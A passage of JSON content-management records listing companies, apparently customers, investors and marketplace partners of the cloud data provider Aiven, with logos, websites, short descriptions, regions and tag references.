Center","companyWebsite":"https://startupcenter.aalto.fi/","logoHeight":48} {"_createdAt":"2024-03-25T09:06:23Z","_id":"9e9ae791-fb79-4967-8b21-ce71720ebbce","_rev":"Y34ePYFQ489qDVybEJPKU7","_type":"company","_updatedAt":"2024-03-25T09:06:23Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174-svg","_type":"reference"}},"companyName":"BrandAlley","companyWebsite":"https://www.brandalley.co.uk/","logoHeight":48} {"_createdAt":"2023-09-12T08:07:04Z","_id":"8c50b7c2-97e9-4dd9-8645-0eeb310fe154","_rev":"jBJgpqpGruZvOgVMUIiEyZ","_type":"company","_updatedAt":"2023-09-12T08:08:51Z","companyDescription":[{"_key":"5f96989ba079","_type":"block","children":[{"_key":"87d65b2857490","_type":"span","marks":[],"text":"eFishery disrupts traditional fish farming methods and provides cutting edge solutions in the aquaculture ecosystem by offering an end-to-end platform that provides access to feed, financing, and market to fish and shrimp farmers."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-c32cc9a4a8c1a7c7315a5209a6dd2665a2790d29-320x80-webp","_type":"reference"}},"companyName":"eFishery","companyWebsite":"https://efishery.com/en/","logoHeight":48,"region":"APAC","tags":[]} {"_createdAt":"2022-09-07T20:38:37Z","_id":"903d342d-2e72-4e77-8dde-194d888ae71c","_rev":"EO0gT2rxu6W7NhGQgll1cO","_type":"company","_updatedAt":"2022-10-11T08:26:45Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-5171d32a3373c496c2e3e48d65b9d8774c791dbc-206x36-svg","_type":"reference"}},"companyName":"Google Cloud","companyWebsite":"https://console.cloud.google.com/marketplace/browse?q=aiven","logoHeight":40} {"_createdAt":"2024-03-04T16:14:25Z","_id":"94c3577f-c6db-4a54-9278-2a112d2b5380","_rev":"80Znsvx5FiXC5oBvpUnOxA","_type":"company","_updatedAt":"2024-03-21T15:36:34Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-2ad66714d9bd46b4aba065ca77f33e9089165cee-1180x320-svg","_type":"reference"}},"companyName":"OpenAI","companyWebsite":"https://aiven.io/developer/retrieval-augmented-generation-openai-opensearch","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"G2Vr1ToDdzypm29FKGaOR","_rev":"6A7y012pmf5STlJrFUMFDV","_type":"company","_updatedAt":"2022-10-07T09:35:39Z","companyLogo":{"alt":"OpenOcean logo","asset":{"_ref":"image-15caa57b3c623b7579c0d9ea87aeebf3d854dac0-170x28-png","_type":"reference"}},"companyName":"OpenOcean","companyWebsite":"https://openocean.vc/","logoHeight":30} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"IPqTa2JeiSRMZixzCPXZS","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-03feb450601bb82d2ee4e3b93824986171c6e1d5-118x34-svg","_type":"reference"}},"companyName":"Match","companyWebsite":"https://match.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"N2Q6YKuTV0lR0jY55d6OH","_rev":"PMq0xitQ26NszJZ6mX1IHz","_type":"company","_updatedAt":"2022-09-14T11:16:20Z","companyLogo":{"alt":"logo earlybird","asset":{"_ref":"image-b13e086f0db21e5babebb59ce932e355eb424249-626x126-png","_type":"reference"}},"companyName":"Earlybird","companyWebsite":"https://earlybird.com/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"OZjv3m5Fyk5xtY8W1FASw","_rev":"0HOthdQkSgJdYc0CABZ2pV","_type":"company","_updatedAt":"2022-06-25T01:21:36Z","companyLogo":{"alt":"La Famiglia","asset":{"_ref":"image-949ab0e98b233f624d56c1d7edfd96483a84cfd2-2200x430-png","_type":"reference"}},"companyName":"La Famiglia","companyWebsite":"https://www.lafamiglia.vc/"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"Qi6syfOyHgBi7ehXtqDgB","_rev":"Q21J3pgWoUWkhUhtSonE6X","_type":"company","_updatedAt":"2023-07-21T09:11:13Z","companyLogo":{"alt":"Wolt logo","asset":{"_ref":"image-7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39-svg","_type":"reference"}},"companyName":"Wolt","companySize":6000,"companyWebsite":"https://wolt.com/","hostProviders":[{"_key":"131a4e1b7089","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":36,"region":"EMEA","tags":[{"_key":"9a612b48ef4a","_ref":"12ad0420-837b-42cb-9631-2009792d0d75","_type":"reference"},{"_key":"b9c500e18397","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"cffcd5840c56","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"645100c6528e","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"},{"_key":"8ded19508812","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":2014} {"_createdAt":"2024-04-03T11:42:55Z","_id":"a26cf529-bb24-4a1f-91a6-bab664c408f6","_rev":"9k1srJVIAf7BJJgtqkgCGG","_type":"company","_updatedAt":"2024-04-03T11:44:54Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-2b810ed3f38c6ef8542c78e1331bc3bc11c3fd9e-450x163-png","_type":"reference"}},"companyName":"Microsoft Azure Marketplace","companyWebsite":"https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services","logoHeight":60} {"_createdAt":"2023-05-10T13:13:19Z","_id":"a33d15eb-c23e-4eaf-a5ba-b29efcdc65cb","_rev":"CehdQyS8z5lmiPrCV1DzRu","_type":"company","_updatedAt":"2023-05-10T13:14:40Z","companyLogo":{"_type":"mainImage","alt":"Icebreaker.vc logo","asset":{"_ref":"image-8be18a3c0b6402a6423e3a90be2171626e0e74e1-2216x368-png","_type":"reference"}},"companyName":"Icebreaker","companyWebsite":"https://www.icebreaker.vc/","logoHeight":30} {"_createdAt":"2022-09-14T11:11:01Z","_id":"a351cccc-d728-41a7-a5f5-46dd61648201","_rev":"PMq0xitQ26NszJZ6mX0l0P","_type":"company","_updatedAt":"2022-09-14T11:13:02Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-7d777f20b14b8262bb9f4d7439657117ed38cb78-868x454-jpg","_type":"reference"}},"companyName":"Spintop ventures","companyWebsite":"https://spintopventures.com/","logoHeight":45} {"_createdAt":"2024-03-04T16:17:27Z","_id":"aa30c8ae-89bf-4832-b519-7e5bc50e43b3","_rev":"80Znsvx5FiXC5oBvpUnPs4","_type":"company","_updatedAt":"2024-03-21T15:37:09Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-fa857eb2ccffb1d3accd868466a4b7ccbfc21265-1752x425-png","_type":"reference"}},"companyName":"Hugging Face","companyWebsite":"https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs","logoHeight":48} {"_createdAt":"2024-03-04T16:27:48Z","_id":"bc9a411d-eb9c-47d7-bd28-9db56af9f110","_rev":"9lf0N1nj0tQugwM8VKctLk","_type":"company","_updatedAt":"2024-03-04T16:27:48Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-897343d2d307379ed38efcdb1b39118d6f0bb9e2-774x372-svg","_type":"reference"}},"companyName":"Labelf","companyWebsite":"https://www.labelf.ai/","logoHeight":48} {"_createdAt":"2023-08-01T10:33:22Z","_id":"b9526ccb-3e52-4b51-a63e-a18d54a676eb","_rev":"JHBctTLkFjmsOG75HgvqV8","_type":"company","_updatedAt":"2023-08-01T10:35:50Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-417873ae2e710bd12a797f9af0f66161118ba2d6-800x204-png","_type":"reference"}},"companyName":"MMC","companyWebsite":"https://mmc.vc/","logoHeight":37} {"_createdAt":"2023-10-30T12:02:50Z","_id":"c1551eb4-62d2-43e5-8b04-7afcbf45eff2","_rev":"K4OjmPZwqkJMmxhvodPYyl","_type":"company","_updatedAt":"2023-10-30T12:03:36Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-e270ec43256a32c29630d72270d591ebdbbfff18-210x37-svg","_type":"reference"}},"companyName":"Gigaom","companyWebsite":"https://gigaom.com","logoHeight":30,"region":"AMER","yearFounded":2006} {"_createdAt":"2024-03-04T16:21:02Z","_id":"c1c88fca-899c-49f3-961d-39721a712064","_rev":"3k3vwhvhnpMxr5ODyxt87w","_type":"company","_updatedAt":"2024-03-04T16:21:26Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-f1a73b5281427c80b9bca37f83e2039114aa8ad8-102x18-svg","_type":"reference"}},"companyName":"cohere","companyWebsite":"https://cohere.com/","logoHeight":30} {"_createdAt":"2023-05-24T12:44:16Z","_id":"c6ebee80-ffe2-43c5-8362-d60f2a0b054b","_rev":"Bg5HPBiLdZofLBzDDlcIgV","_type":"company","_updatedAt":"2023-05-24T12:44:16Z","companyLogo":{"_type":"mainImage","alt":"Techstars logo","asset":{"_ref":"image-530475f5980c061e71bc3d314a2eb7079709abbe-895x358-jpg","_type":"reference"}},"companyName":"Techstars","companyWebsite":"https://www.techstars.com/","logoHeight":48} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"cTFgXaFCq9wmNPSKbqAxq","_rev":"dsxJlHxlnt5nZt5n1wyWmB","_type":"company","_updatedAt":"2023-06-08T07:13:20Z","companyLogo":{"alt":"","asset":{"_ref":"image-6f198517d7fedd60525e67a7b183d0505e0a98b4-85x14-svg","_type":"reference"}},"companyName":"Gov.UK","companyWebsite":"https://www.gov.uk/","logoHeight":23,"tags":[{"_key":"cbb5fce5d61b","_ref":"8dc80453-6ed0-45e5-8fa3-076f1de323fb","_type":"reference"},{"_key":"0bb0e30c0cb1","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}]} {"_createdAt":"2022-11-16T06:27:52Z","_id":"ca7f0c1a-0972-4cbf-8d6f-992f792c48cd","_rev":"Q21J3pgWoUWkhUhtSonEsx","_type":"company","_updatedAt":"2023-07-21T09:13:31Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-be27664420cb191f1584faecc3f0b1c57c7da222-183x59-svg","_type":"reference"}},"companyName":"Everactive","companySize":75,"companyWebsite":"https://everactive.com/","hostProviders":[{"_key":"68fad7351be8","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"AMER","tags":[{"_key":"9d8566440201","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"26cb4030e7c0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"ec2ad4d49179","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"}],"yearFounded":2012} {"_createdAt":"2024-03-13T11:13:45Z","_id":"b00da409-6e6d-4ddd-a47c-48c70d85638d","_rev":"rAWuI3yYduKRvZqckJrSj9","_type":"company","_updatedAt":"2024-03-13T11:17:26Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-5665bbb7f6955b0c478e64662b6dce55c4f47b9d-2432x665-png","_type":"reference"}},"companyName":"Zeotap","companyWebsite":"https://zeotap.com/","logoHeight":48} {"_createdAt":"2024-03-13T08:51:50Z","_id":"74af5246-d9b6-41ea-aeca-e98e57b46797","_rev":"2QvLnXP36WAnQ13A3nqNC8","_type":"company","_updatedAt":"2024-03-13T12:58:36Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-3a867e63c3043cd90bff92e968b40c3b783c046e-391x202-png","_type":"reference"}},"companyName":"MySQL","companyWebsite":"https://www.mysql.com/","logoHeight":60} {"_createdAt":"2022-09-07T20:39:16Z","_id":"ddba688e-ac0b-40be-87d6-6508b6d24b57","_rev":"CK1sLU2mnwa3vmbYWB4L9L","_type":"company","_updatedAt":"2022-09-07T20:39:16Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-975f38277c6f2ce488404f1382a07fb16abf0d39-119x34-svg","_type":"reference"}},"companyName":"Microsoft Azure","companyWebsite":"https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services"} {"_createdAt":"2023-06-06T14:38:08Z","_id":"e02fdd72-8b6a-449c-85c1-a3916197617f","_rev":"OSa4Of7leLeKOMRysYPacA","_type":"company","_updatedAt":"2023-06-06T14:38:08Z","companyLogo":{"_type":"mainImage","alt":"Liquido.vc logo","asset":{"_ref":"image-c554ee2383d2012e5d80c47bcdf5daa66ad0c02a-1178x773-png","_type":"reference"}},"companyName":"Liquido Ventures Oy","companyWebsite":"https://liquido.vc","logoHeight":48} {"_createdAt":"2024-02-20T13:31:11Z","_id":"eec1d50b-f1b0-479d-aa1c-e716089cb005","_rev":"AhQsd13Ciq0lSu1FlZ7Sut","_type":"company","_updatedAt":"2024-02-20T13:31:11Z","companyDescription":[{"_key":"90fa93fa3ff4","_type":"block","children":[{"_key":"7895e59c572a0","_type":"span","marks":[],"text":"Lili provide a platform designed to make the financial aspects of business easier to manage and understand. Their platform enables their customers to manage their business banking, accounting, invoicing, and tax preparation all in one place."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-6983b2c8bcd4e50885355c66015fc93e56f37407-3358x2518-png","_type":"reference"}},"companyName":"Lili","companyWebsite":"https://lili.co/","hostProviders":[{"_key":"af52b68fc233","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":48,"region":"AMER","tags":[{"_key":"007b8cd9dd01","_ref":"ba0ccef8-edb6-431b-a082-f13df38fb842","_type":"reference"}],"yearFounded":2019} {"_createdAt":"2023-07-24T08:00:56Z","_id":"f0503c73-74fe-41a3-a080-93a4338dcc9f","_rev":"B2qRym1lObpfgwjNwXFW1h","_type":"company","_updatedAt":"2023-08-15T12:21:28Z","companyDescription":[{"_key":"d2ae1dea5d3d","_type":"block","children":[{"_key":"7b5a8ee9f4680","_type":"span","marks":[],"text":"Bonsai was developed by One More Cloud, a bootstrapped software firm that provides specialized hosted cloud services. Launched in 2012, Bonsai was the first hosted Elasticsearch-as-a-service on the market and remains the leader in providing world-class search solutions and in 2021, Bonsai became the first OpenSearch provider."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","alt":"Bonsai logo","asset":{"_ref":"image-87e8003b62a9f0d80913b364316b13888d00ae40-600x104-png","_type":"reference"}},"companyName":"Bonsai","companyWebsite":"https://bonsai.io","hostProviders":[{"_key":"baffa96531d9","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":30,"region":"AMER","tags":[{"_key":"35ef9ad48aa2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"4e155f2b5212","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"}],"yearFounded":2012} {"_createdAt":"2023-06-14T09:24:54Z","_id":"f46d5923-8a7e-4fac-a7ca-16546002bd79","_rev":"tW7kMBSHIbCIaN9dzP7Dx5","_type":"company","_updatedAt":"2023-06-14T09:24:54Z","companyLogo":{"_type":"mainImage","alt":"Nazca vc logo","asset":{"_ref":"image-63b790a75ad1e9646429640535b89ac5f14d273f-2754x1922-png","_type":"reference"}},"companyName":"Nazca","companyWebsite":"https://nazca.vc/","logoHeight":48} {"_createdAt":"2023-09-07T06:13:56Z","_id":"fbbe4379-81b9-41fd-808d-b84223814c9d","_rev":"jBJgpqpGruZvOgVMUDejic","_type":"company","_updatedAt":"2023-09-07T14:28:41Z","companyDescription":[{"_key":"3d8d59e1be71","_type":"block","children":[{"_key":"af6bf2616f4d0","_type":"span","marks":["3d0cdb10c562"],"text":"Blume2000 SE"},{"_key":"dbccec15b449","_type":"span","marks":[],"text":", a prominent online floral delivery service with physical stores, operates in Germany, offering fresh, vibrant blooms for all occasions, including individual gifts and corporate arrangements. A trusted source for beautiful flowers."}],"markDefs":[{"_key":"3d0cdb10c562","_type":"link","href":"https://www.blume2000.de/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-f42dd2395234565adf0ba2a935bdf9391df2f93e-400x200-png","_type":"reference"}},"companyName":"Blume2000 SE","companyWebsite":"https://www.blume2000.de/","hostProviders":[{"_key":"dd547e74c2e6","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":48,"region":"EMEA","tags":[{"_key":"f411beec9b1a","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"d1ae043c6dd2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":1974} {"_createdAt":"2024-03-06T12:33:52Z","_id":"fd143138-e6d5-4957-be92-bc996dbaa518","_rev":"3FGtLQfVRJNnLVm3pXkBmt","_type":"company","_updatedAt":"2024-03-11T17:37:22Z","companyDescription":[{"_key":"2b2818f0bccf","_type":"block","children":[{"_key":"64b4188538b90","_type":"span","marks":[],"text":"Doccla is the virtual ward company. They are the pioneers of tech-agnostic virtual wards. They partner with care organizations to enable early discharge and prevent hospital readmission by monitoring patients remotely using best of breed devices."}],"markDefs":[],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-14c5e43224a0657ddf74ed1c398238ca5b6bbdca-94x22-svg","_type":"reference"}},"companyName":"Doccla","companyWebsite":"https://www.doccla.com/","hostProviders":[{"_key":"131caf8c337d","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":35,"region":"EMEA","tags":[{"_key":"d656e3b27b14","_ref":"8c44e577-b60b-47c1-b439-328f39c9cc1d","_type":"reference"},{"_key":"4a4764b2a972","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"a99293c87443","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"54b17043d28d","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"}]} {"_createdAt":"2024-03-26T16:08:04Z","_id":"723e5af6-916b-4e14-b3fd-bf7a66f1d80c","_rev":"ufDkV2u6FBQU7CTzX9idh6","_type":"company","_updatedAt":"2024-03-26T16:10:22Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-0e0c526f890c9eac6624851f809b255f07da054d-535x286-png","_type":"reference"}},"companyName":"Google Cloud Marketplace","companyWebsite":"https://console.cloud.google.com/marketplace/browse?q=aiven","logoHeight":70} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"wHevJYMQwrJ9YGDjfJTI8","_rev":"oamrAPLmQLQjd9jh7cqQaU","_type":"company","_updatedAt":"2022-06-25T01:21:35Z","companyLogo":{"alt":"","asset":{"_ref":"image-dbd7eb08ea967e827fefd3432671bfca0ae3da34-176x47-svg","_type":"reference"}},"companyName":"Raiffeisen bank","companyWebsite":"https://www.rb.cz/en"} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"wJfffb5Vrawy7ElzGUcC2","_rev":"STwkGY00NBjXpkjjM1pGbT","_type":"company","_updatedAt":"2022-09-14T11:15:00Z","companyLogo":{"alt":"Depo ventures logo","asset":{"_ref":"image-c4b7beea36fec1ed1a960f84cc27a3fe31e399e3-7093x2941-png","_type":"reference"}},"companyName":"Depo Ventures","companyWebsite":"https://depoventures.com/","logoHeight":40} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"yvkqRSBe6LC3RTgyKXyOf","_rev":"Q21J3pgWoUWkhUhtSonDuH","_type":"company","_updatedAt":"2023-07-21T09:10:43Z","companyLogo":{"alt":"","asset":{"_ref":"image-9dd6f76b3afa1df5439feb8189af4d128c17559b-994x306-svg","_type":"reference"}},"companyName":"Talon.One","companySize":60,"companyWebsite":"https://www.talon.one/","hostProviders":[{"_key":"610d8e7235b5","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"region":"EMEA","tags":[{"_key":"ff15f0b9a133","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"6f8d121b1f3b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2015} {"_createdAt":"2023-06-26T06:50:30Z","_id":"776ed73c-e4cd-4a39-8542-a086159e296d","_rev":"2x59rT6aRKXNelne0c7N7I","_type":"company","_updatedAt":"2024-11-27T14:44:18Z","companyDescription":{"_type":"localeText","en":"Conrad Electronic is an international sourcing platform for technical supplies delivers based in Hirschau, Germany, with approximately 4,000 employees in the Conrad group. It offers products for B2B customers and B2C customers, including computing equipment, multimedia, modeling, home automation, tools, electronic components, batteries, and power and motoring products."},"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"companyName":"Conrad Electronic","companySize":4000,"companyWebsite":"https://www.conrad.com/ce/en/","hostProviders":[{"_key":"de71c186690b","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":42,"tags":[{"_key":"c2e66d31efca","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"6ad09fba5c79","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"980f5cc9b35a","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"842c4888a96f","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"66adb2bbd585","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"}],"yearFounded":1923} {"_createdAt":"2023-07-11T11:59:17Z","_id":"727f3f76-3bb5-4b94-a943-59f28858872a","_rev":"oOylPWK65J0ej1lvdb8FoJ","_type":"company","_updatedAt":"2024-06-26T09:12:42Z","companyLogo":{"_type":"mainImage","alt":"La Redoute logo","asset":{"_ref":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_type":"reference"}},"companyName":"La Redoute","companyWebsite":"https://www.laredoute.com","hostProviders":[{"_key":"8d39d921a5bc","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"logoHeight":45,"region":"EMEA","tags":[{"_key":"81c8b5eacca7","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"a3b02dbe515f","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"de61528407a5","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"7fcb3a41e1e5","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"}],"yearFounded":1837} {"_createdAt":"2023-10-30T06:52:11Z","_id":"217845de-9025-4cd7-b461-e126fb7fc23c","_rev":"TpAoe0ZPYnVPmPAgmZ8AE7","_type":"company","_updatedAt":"2024-05-07T07:59:53Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-e5901ac45dd46d6e4369d19979560572589aff1f-2986x617-png","_type":"reference"}},"companyName":"Essendant","companyWebsite":"https://www.essendant.com/","hostProviders":[{"_key":"f244b4fad6cb","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"logoHeight":38,"region":"AMER","tags":[{"_key":"4659d685e3ab","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"}],"yearFounded":1922} {"_createdAt":"2024-12-05T08:09:00Z","_id":"97e3f99b-6840-4d42-9e75-f774e767baee","_rev":"lbpMA3MBWy0eIji4xII766","_type":"company","_updatedAt":"2024-12-05T08:12:52Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-bdb9a1352561a3d7ec927added195863c18c577e-1920x1080-webp","_type":"reference"}},"companyName":"Kroo Bank","companySize":0,"hostProviders":[{"_key":"1b3eb655235f","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"logoHeight":70,"region":"EMEA","tags":[{"_key":"555d4d1caa0d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"663c9824d417","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"}],"yearFounded":2016} {"_createdAt":"2024-09-19T07:00:20Z","_id":"8c8287cd-e80c-43aa-bc3f-6fbecc422a85","_rev":"1OyjLnRDvuzO2Q4GjnKr0G","_type":"company","_updatedAt":"2024-09-19T07:11:21Z","companyLogo":{"_type":"mainImage","asset":{"_ref":"image-db4cd38bb216e8b5b9d5e54f945d26d7801266fa-353x143-png","_type":"reference"}},"companyName":"Oracle Cloud Marketplace","companyWebsite":"https://cloudmarketplace.oracle.com/marketplace/en_US/listing/171651353","logoHeight":60} {"_createdAt":"2024-07-03T07:39:05Z","_id":"791c5a85-1bd2-402f-94e8-23035c3ce76a","_rev":"lbpMA3MBWy0eIji4xeSEfG","_type":"company","_updatedAt":"2024-12-09T11:15:03Z","companyDescription":{"_type":"localeText","en":"Back Market offers customers a range of refurbished electronics with warranties, money-back guarantees, and seller ratings. The business is located in Paris, France.","fr":"Back Market propose à ses clients une gamme d'appareils électroniques reconditionnés avec garanties, assurances de remboursement et évaluations des vendeurs. L'entreprise est située à Paris, en France."},"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-d358d8efb0b71d0745d584c5d225e037dca20c8d-820x92-png","_type":"reference"}},"companyName":"Back Market","companySize":650,"companyWebsite":"https://www.backmarket.com","hostProviders":[{"_key":"a7a9be06b5d2","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"}],"logoHeight":28,"tags":[{"_key":"284d3b8df0e0","_ref":"21e66dfc-f88c-4f23-9238-0b848acaf2e0","_type":"reference"},{"_key":"3742ee57a6fe","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":2014} {"_createdAt":"2024-10-24T12:21:47Z","_id":"7f0cd6d7-b290-4e26-8045-704b81fb72f2","_rev":"bH41C32nCYYyBv2hLCoXXa","_type":"company","_updatedAt":"2024-10-24T14:11:28Z","companyLogo":{"_type":"mainImage","alt":"AWS Partner: Data \u0026 Analytics Software Competency","asset":{"_ref":"image-6ed939fda446366d5e17172cdbc96375c2d88f23-120x120-png","_type":"reference"}},"companyName":"AWS Partner: Data \u0026 Analytics Competency","logoHeight":70} {"_createdAt":"2024-10-24T12:22:24Z","_id":"8d841fef-8d9b-402a-a503-70b7908348a0","_rev":"bH41C32nCYYyBv2hLCoYCk","_type":"company","_updatedAt":"2024-10-24T14:11:35Z","companyLogo":{"_type":"mainImage","alt":"AWS Partner: Retail Software Competency","asset":{"_ref":"image-4671a65e619ef7913ec637ed398060390ca2769b-120x120-png","_type":"reference"}},"companyName":"AWS Partner: Retail Competency","logoHeight":70} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"1XH8KZN8aj668zBCdJQaTs","_rev":"exgZYl4YMpSEzTrzwwDWjg","_type":"company","_updatedAt":"2024-10-11T07:54:48Z","companyDescription":[{"_key":"ef99b1d708d1","_type":"block","children":[{"_key":"292044f617bf0","_type":"span","marks":[],"text":"Sophos Ltd ("},{"_key":"8f216dc79050","_type":"span","marks":["3964313d0c51"],"text":"Sophos"},{"_key":"b1712758afd4","_type":"span","marks":[],"text":"), a subsidiary of Sophos Parent Ltd, provides information technology security and data protection solutions. The company products include managed detection and response (MDR) and incident response services and a broad portfolio of endpoint, network, email, and cloud security technologies."}],"markDefs":[{"_key":"3964313d0c51","_type":"link","href":"https://www.sophos.com/"}],"style":"normal"}],"companyLogo":{"_type":"mainImage","asset":{"_ref":"image-0af0badf9cad359ba833771e1499bf6e0a000a9f-1221x261-png","_type":"reference"}},"companyName":"Sophos","companySize":4400,"companyWebsite":"https://www.sophos.com/","hostProviders":[{"_key":"a0cec8b69ed2","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"}],"region":"AMER","tags":[{"_key":"ca4a5f28a0c5","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"22cde74d1692","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"}],"yearFounded":1985} {"_createdAt":"2022-06-16T22:53:43Z","_i18n_lang":"en","_id":"2BACGWdhEhfcQse2RSiztJ","_rev":"TpAoe0ZPYnVPmPAgmZ8xt5","_type":"company","_updatedAt":"2024-05-07T08:00:19Z","companyLogo":{"alt":"NetSpyGlass logo","asset":{"_ref":"image-7bdc19c0f4b83c509a8dbc3e7247cd6bcf21c84f-541x107-svg","_type":"reference"}},"companyName":"NetSpyGlass","companySize":10,"companyWebsite":"https://www.netspyglass.com/","hostProviders":[{"_key":"42124a508df9","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"f632645241d9","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"86563ac85e9a","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"logoHeight":40,"region":"AMER","tags":[{"_key":"42cd6955018b","_ref":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","_type":"reference"},{"_key":"01dbc9d76d4e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"6d8efdabe32f","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"}],"yearFounded":2013} 